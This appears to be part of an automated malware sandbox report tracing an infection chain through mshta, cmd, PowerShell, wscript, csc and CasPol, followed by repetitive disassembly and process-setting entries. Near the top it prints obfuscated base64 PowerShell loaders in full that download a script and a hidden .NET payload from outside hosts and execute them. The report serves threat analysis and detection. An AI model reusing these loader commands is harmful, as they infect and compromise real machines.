Source: C:\Windows\SysWOW64\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/c POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $claustrophobe = 'JGF1dG9zYXZlID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JGNoZW1vdHJvcGlzbSA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHF1ZWVmID0gJGNoZW1vdHJvcGlzbS5Eb3dubG9hZERhdGEoJGF1dG9zYXZlKTskcHVua2xpbmcgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVlZWYpOyR0dWJlcmN1bG9waG9iaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGZlbXRvY291bG9tYiA9ICc8PEJBU0U2NF9FTkQ+Pic7JHVudGhyaWZ0eSA9ICRwdW5rbGluZy5JbmRleE9mKCR0dWJlcmN1bG9waG9iaWEpOyRoYW1tYW0gPSAkcHVua2xpbmcuSW5kZXhPZigkZmVtdG9jb3Vsb21iKTskdW50aHJpZnR5IC1nZSAwIC1hbmQgJGhhbW1hbSAtZ3QgJHVudGhyaWZ0eTskdW50aHJpZnR5ICs9ICR0dWJlcmN1bG9waG9iaWEuTGVuZ3RoOyRwZXRyb2RvbGxhciA9ICRoYW1tYW0gLSAkdW50aHJpZnR5OyRkYXN5YXRpZGFlID0gJHB1bmtsaW5nLlN1YnN0cmluZygkdW50aHJpZnR5LCAkcGV0cm9kb2xsYXIpOyRkaWdpdGFsaXNpbmcgPSAtam9pbiAoJGRhc3lhdGlkYWUuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGRhc3lhdGlkYWUuTGVuZ3RoKV07JHVuaWRlYWxpemVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZGlnaXRhbGlzaW5nKTskY29tbWVuZGluZyA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJHVuaWRlYWxpemVkKTskamFwb25pY2FzID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGphcG9uaWNhcy5JbnZva2UoJG51bGwsIEAoJzAvY3VWREUvci9lZS5ldHNhcC8vOnNwdHRoJywgJyRjb25maWRlbnRpYWxpdHknLCAnJGNvbmZpZGVudGlhbGl0eScsICckY29uZmlkZW50aWFsaXR5JywgJ0Nhc1BvbCcsICckY29uZmlkZW50aWFsaXR5JywgJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJzEnLCckY29uZmlkZW50aWFsaXR5JykpOw==';$uninverted = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($claustrophobe));Invoke-Expression $uninverted
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $claustrophobe = 'JGF1dG9zYXZlID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JGNoZW1vdHJvcGlzbSA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHF1ZWVmID0gJGNoZW1vdHJvcGlzbS5Eb3dubG9hZERhdGEoJGF1dG9zYXZlKTskcHVua2xpbmcgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVlZWYpOyR0dWJlcmN1bG9waG9iaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGZlbXRvY291bG9tYiA9ICc8PEJBU0U2NF9FTkQ+Pic7JHVudGhyaWZ0eSA9ICRwdW5rbGluZy5JbmRleE9mKCR0dWJlcmN1bG9waG9iaWEpOyRoYW1tYW0gPSAkcHVua2xpbmcuSW5kZXhPZigkZmVtdG9jb3Vsb21iKTskdW50aHJpZnR5IC1nZSAwIC1hbmQgJGhhbW1hbSAtZ3QgJHVudGhyaWZ0eTskdW50aHJpZnR5ICs9ICR0dWJlcmN1bG9waG9iaWEuTGVuZ3RoOyRwZXRyb2RvbGxhciA9ICRoYW1tYW0gLSAkdW50aHJpZnR5OyRkYXN5YXRpZGFlID0gJHB1bmtsaW5nLlN1YnN0cmluZygkdW50aHJpZnR5LCAkcGV0cm9kb2xsYXIpOyRkaWdpdGFsaXNpbmcgPSAtam9pbiAoJGRhc3lhdGlkYWUuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGRhc3lhdGlkYWUuTGVuZ3RoKV07JHVuaWRlYWxpemVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZGlnaXRhbGlzaW5nKTskY29tbWVuZGluZyA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJHVuaWRlYWxpemVkKTskamFwb25pY2FzID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGphcG9uaWNhcy5JbnZva2UoJG51bGwsIEAoJzAvY3VWREUvci9lZS5ldHNhcC8vOnNwdHRoJywgJyRjb25maWRlbnRpYWxpdHknLCAnJGNvbmZpZGVudGlhbGl0eScsICckY29uZmlkZW50aWFsaXR5JywgJ0Nhc1BvbCcsICckY29uZmlkZW50aWFsaXR5JywgJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJzEnLCckY29uZmlkZW50aWFsaXR5JykpOw==';$uninverted = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($claustrophobe));Invoke-Expression $uninverted	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.cmdline"			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_04B40DB0 push edi; ret	7_2_04B40DD2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_07941C56 push dword ptr [ebp+ebx-75h]; iretd	7_2_07941C5C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00407041 push cs; iretd	10_2_00407042
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0041705E push edi; iretd	10_2_00417060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_004030F0 push eax; ret	10_2_004030F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0041C8FC push cs; iretd	10_2_0041C8C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00401949 push 63DCA26Ah; ret	10_2_0040194E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0040214B push edx; retf	10_2_0040214E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00402101 push ebp; iretd	10_2_0040210D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0040210E push eax; retf	10_2_0040214A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_004021A4 push eax; retf	10_2_0040214A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0041125B pushfd ; ret	10_2_0041125E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_004242E3 push esp; ret	10_2_00424330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00417AFB push eax; ret	10_2_00417AFD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00401AB8 push edx; retf	10_2_00401AE3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00417C0B push ebp; iretd	10_2_00417C0C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0041ECDC push ds; iretd	10_2_0041ECDD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00401DF5 push ebp; iretd	10_2_00401DB2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00401DA6 push ebp; iretd	10_2_00401DB2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00416EAA push esp; retf	10_2_00416EAB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00401F0D push eax; retf	10_2_00401F19
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00401FEB push edx; retf	10_2_00401FEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00410FEE push ebp; iretd	10_2_00411000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00410FF3 push ebp; iretd	10_2_00411000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00401FA4 push edx; ret	10_2_00401FAD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00401FBA push 0000006Ah; iretd	10_2_00401FC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015509AD push ecx; mov dword ptr [esp], ecx	10_2_015509B6
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Code function: 11_2_0397CB80 push eax; ret	11_2_0397CB82
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Code function: 11_2_03989368 push esp; ret	11_2_039893B5
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Code function: 11_2_039762E0 pushfd ; ret	11_2_039762E3
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Code function: 11_2_03981981 push cs; iretd	11_2_0398194E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

File created: C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.dll

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
